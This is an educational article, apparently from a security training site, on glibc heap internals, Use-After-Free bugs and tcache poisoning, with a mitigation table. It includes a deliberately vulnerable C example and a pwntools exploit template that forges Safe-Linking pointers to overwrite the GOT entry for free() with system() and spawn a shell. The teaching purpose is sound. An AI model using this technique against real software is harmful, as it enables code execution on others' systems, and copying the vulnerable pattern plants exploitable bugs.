Beyond the Stack: Heap Exploitation and Use-After-Free Vulnerabilities
A technical deep dive into glibc heap internals, tcache poisoning, and Use-After-Free exploitation. Learn how dangling pointers corrupt allocator metadata and lead to arbitrary write primitives.
Stack exploitation has a clean geometry: overwrite in one direction, reach the return address, redirect execution. The techniques are well-understood, the mitigations are consistent, and the mental model maps neatly to the hardware.
Heap exploitation is different in almost every respect. The heap is managed by software β specifically, glibcβs malloc implementation on Linux β rather than the CPU. Its layout at any moment depends on the allocation and deallocation history of the program, which varies with runtime inputs. Bugs in heap code donβt usually give you a linear write toward a return address. They give you corrupted allocator metadata, which you then leverage to make malloc return a pointer to wherever you want.
This article covers the glibc heapβs internal structure, the tcache, Use-After-Free vulnerabilities, and the tcache poisoning technique. The final section covers glibcβs mitigations and what bypassing them requires.
Prior context: If youβre coming from the stack overflow and ASLR bypass articles, the GOT/PLT mechanics are assumed knowledge. If not: the GOT is a table of resolved runtime addresses for library functions, stored at a fixed location in non-PIE binaries. Overwriting a GOT entry redirects any call to that function.
How glibc Manages Heap Memory
When your program calls malloc(32), glibc doesnβt ask the OS for exactly 32 bytes. It manages a large region of memory (obtained via brk or mmap) and sub-divides it internally. The unit of management is a chunk.
Chunk Layout
Every chunk has a header immediately before the user data pointer:
βββββββββββββββββββββββββββββββββββ β previous chunk's user data ends here β prev_size (8 bytes) β β only valid if previous chunk is free βββββββββββββββββββββββββββββββββββ€ β size (8 bytes) β β chunk size + 3 flag bits βββββββββββββββββββββββββββββββββββ€ β malloc() returns this address β user data (requested bytes) β β (padded to 16-byte alignment) β βββββββββββββββββββββββββββββββββββThe effective overhead per allocated chunk is 8 bytes β the size field. The prev_size field belongs to this chunkβs memory but is only written by the previous chunk when that chunk is freed. A live chunkβs prev_size area is legally usable by the previous chunk as overflow space, which is how glibc avoids wasting it.
The lowest three bits of size are flag bits (the chunk size is always 16-byte aligned, so those bits would otherwise be zero):
- P (PREV_INUSE): The physically adjacent previous chunk is allocated
- M (IS_MMAPPED): This chunk was allocated via
mmapdirectly - A (NON_MAIN_ARENA): This chunk belongs to a thread arena, not the main arena
A malloc(32) call on a 64-bit system produces a chunk of size 0x20 (32 bytes user data, already 16-byte aligned) with P=1 if the previous chunk is live. The size field written to memory: 0x20 | 0x1 = 0x21.
When a Chunk Is Freed
Calling free(ptr) does not zero the memory and does not (in most cases) return it to the OS. The chunk is placed into a free list β a recycling bin β so a subsequent malloc of the same size can reuse it without a kernel call.
When a chunk enters a free list, glibc writes pointers into what was the user data area:
struct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk *fd; /* forward pointer β next free chunk */ struct malloc_chunk *bk; /* backward pointer β previous free chunk */ /* large chunks also have fd_nextsize, bk_nextsize */};These pointers only exist in freed chunks. In allocated chunks, that space belongs entirely to user data. This dual-use of memory is central to heap exploitation: if you can write into a freed chunkβs data area, youβre overwriting allocator metadata.
The Tcache
Modern glibc (2.26+) uses the tcache (thread-local cache) as the primary free list. Each thread maintains its own array of 64 singly-linked lists, one per size class (16 to 1032 bytes in 16-byte steps). A freed chunk goes to the tcache bin for its size class.
Key properties:
- Per-thread: No locking needed for tcache access β fast
- LIFO: The most recently freed chunk is returned first
- Capacity: Each bin holds a maximum of 7 chunks. An 8th free of the same size goes to the next bin tier (fastbins or unsorted bin)
- Single-linked: Tcache uses only
fd(forward pointer); nobk
The tcache forward pointer is stored at the start of the freed chunkβs user data region:
Tcache head β [chunk B] β [chunk A] β NULL fd=&A fd=NULLWhen malloc(32) is called and a matching tcache bin is non-empty, the allocator takes the head chunk, updates the head to head->fd, and returns the chunk. No searching, no coalescing, no locking. This is why tcache exists β itβs a pure speed optimization.
Use-After-Free Vulnerabilities
A Use-After-Free (UAF) occurs when a program continues using a pointer after the memory it references has been freed. The freed chunk is now owned by the allocator, but the programβs pointer still points to it. Any write through that pointer corrupts allocator metadata.
The canonical example:
#include <stdlib.h>#include <stdio.h>#include <string.h>
struct User { char name[24]; int is_admin;};
int main(void) { struct User *u = malloc(sizeof(struct User)); strncpy(u->name, "alice", sizeof(u->name)); u->is_admin = 0;
free(u); /* u is now a dangling pointer. * The chunk is in the tcache. Its first 8 bytes now hold the fd pointer. * The correct fix: u = NULL; immediately after free(). */
/* UAF write: this overwrites the tcache fd pointer */ strncpy(u->name, "AAAAAAAA", 8);
return 0;}After free(u), the first 8 bytes of u->name hold the tcache fd pointer β the address of the next free chunk of the same size. Writing βAAAAAAAAβ there corrupts that pointer. The allocatorβs free list now contains a garbage address. The next malloc call for that size will return the corrupted chunk; the one after that will return whatever address was written.
Tcache Poisoning
Tcache poisoning weaponizes a UAF (or heap buffer overflow) to inject an arbitrary address into the tcacheβs free list. The goal: make malloc return a pointer to a location you control β such as a GOT entry.
Setup
void *A = malloc(32); /* chunk A */void *B = malloc(32); /* chunk B */
free(A);free(B);/* Tcache (32-byte bin): head β B β A β NULL */The Poison Write
Using a UAF on chunk B (which is now in the tcache), overwrite its fd pointer with the target address:
/* UAF: write the address of free@got into B's fd field */*(uint64_t *)B = got_free_addr; /* e.g. 0x601018 *//* Tcache: head β B β 0x601018 β ??? */Trigger
void *C = malloc(32); /* returns B β tcache head now points to 0x601018 */void *D = malloc(32); /* returns 0x601018 β a pointer into the GOT */D now points to the GOT entry for free(). A write to D overwrites that entry:
*(uint64_t *)D = system_addr;/* GOT entry for free() now contains the address of system() */From this point, any call to free(ptr) in the program invokes system(ptr). If the program subsequently calls free(user_controlled_string) where the string is /bin/sh, you get a shell.
That last condition β the program calling free() with attacker-controlled data β is program-specific. In practice, targets are chosen or triggered specifically because that condition can be arranged. A more general approach is overwriting __free_hook (discussed below) or targeting a function pointer elsewhere in the programβs data.
Tcache Key: Double-Free Detection (glibc β₯ 2.29)
glibc 2.29 added a key field to tcache entries. When a chunk is freed into the tcache, glibc writes a thread-specific value into the chunkβs bk field (the second 8 bytes of user data). On a subsequent free() of the same pointer, glibc checks whether that key is present β if it is, the chunk is already in the tcache, and free() aborts.
This blocks trivial double-free: freeing the same pointer twice in succession. It doesnβt prevent UAF if the write comes from a different pointer to the same memory (aliasing), or if the key is overwritten before the second free. Bypassing it requires either preserving the key value in your write, or using a technique that doesnβt trigger the check.
Safe-Linking (glibc β₯ 2.32)
glibc 2.32 introduced Safe-Linking, which obfuscates tcache fd pointers:
More precisely, the fd field stores: target_addr XOR (address_of_fd_field >> 12). The right-shift by 12 strips the page offset, leaving a value derived from the allocation address. When the allocator reads the fd pointer, it reverses the XOR to recover the real target.
For an attacker to poison the fd field, they need to know the address of the chunk whose fd theyβre overwriting (to compute the correct XOR key). This requires a heap address leak β a separate primitive that reads a heap pointer at a known offset. ASLR randomizes heap base addresses the same way it randomizes library bases, so without a leak the XOR key is unknown.
The bypass pattern: obtain a heap leak (e.g., reading a freed chunkβs fd field through a UAF read), compute the key, XOR your target address with the key, write the result as the forged fd.
Historical Target: __malloc_hook and __free_hook
Before glibc 2.34, the library exposed global function pointers __malloc_hook and __free_hook in a writable data segment. If non-null, malloc and free called these pointers instead of their normal implementations.
These were prime tcache poisoning targets: overwrite the tcache to get a malloc return pointing at __malloc_hook, write systemβs address there, trigger any malloc call. Simpler than GOT overwriting because the hook addresses were in a predictable location in the libc data segment.
glibc 2.34 (released 2021) removed both hooks. Exploits targeting binaries built against glibc β₯ 2.34 need different targets β _IO_file structures, exit handlers, or program-specific function pointers.
Heap Layout Control: Grooming
Heap exploitation rarely works on the first attempt without controlling the heapβs state. Heap grooming (also called heap feng shui) refers to making allocations and frees in a specific sequence to arrange chunks in a predictable layout before triggering the vulnerability.
For example: if your target chunk needs to be adjacent to a specific object for an overflow to reach it, you allocate several padding chunks first to push the allocator into the right position. The exact sequence depends on the allocatorβs bin selection logic β which requires understanding tcache capacity limits, fastbins, and the unsorted bin.
Debugging Heap Exploits
The most useful tool for heap debugging is pwndbg (a GDB plugin):
# Show all heap chunks with their sizes and statusheap
# Show all free bins (tcache, fastbins, unsorted, small, large)bins
# Visual heap inspection β color-coded allocated/freed chunksvis_heap_chunks
# Show tcache contents for all size classestcacheA typical workflow: set a breakpoint after the UAF write, run vis_heap_chunks to confirm the fd pointer was overwritten correctly, then step forward through malloc calls to watch the poisoned address propagate to the return value.
For writing the exploit:
from pwn import *
elf = ELF('./vuln')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')io = process('./vuln')
def alloc(size, data=b''): # interact with the target program's allocation interface ...
def free_chunk(idx): ...
def write_chunk(idx, data): ...
# Stage 1: Heap leak (read a freed chunk's fd pointer through UAF read)alloc(32) # idx 0alloc(32) # idx 1 β barrier chunk, prevents consolidation with topfree_chunk(0)heap_leak = read_chunk(0)[:8] # UAF read of fd pointerheap_base = u64(heap_leak.ljust(8, b'\x00'))log.info(f"Heap leak: {hex(heap_base)}")
# Stage 2: Compute Safe-Linking key and forge fd pointerkey = heap_base >> 12target = elf.got['free'] # or any writable targetforged_fd = target ^ key
# Stage 3: Poison tcachefree_chunk(1)write_chunk(1, p64(forged_fd)) # UAF write β overwrites fd
# Stage 4: Consume chunks to reach poisoned addressalloc(32) # returns chunk 1alloc(32) # returns &got['free'] β write here to redirect free()
write_chunk(2, p64(libc.symbols['system']))# Now: free(ptr) == system(ptr)io.interactive()Mitigation Landscape
| Mitigation | Version | What It Blocks | Bypass Requirement |
|---|---|---|---|
| Tcache double-free key | glibc 2.29 | Identical pointer freed twice | Aliased pointer or key preservation |
| Safe-Linking | glibc 2.32 | Blind fd overwrite | Heap address leak |
__malloc_hook / __free_hook removal | glibc 2.34 | Hook overwrite target | Alternative writable function pointer |
| Full RELRO | linker flag | GOT overwrite | Read-only GOT; need other target |
| ASLR (heap) | kernel | Fixed heap addresses | Heap pointer leak |
No single mitigation stops a determined attacker with the right primitives. What they collectively require is: a read primitive (for leaks), a write primitive (for the overwrite), and enough understanding of the allocatorβs state to predict what malloc will return. The difficulty of heap exploitation comes from satisfying all three conditions simultaneously against a hardened target.
The reference resource for going deeper: how2heap β a repository of working proof-of-concept exploits for every major heap technique, organized by glibc version.
Author
Varkin Academy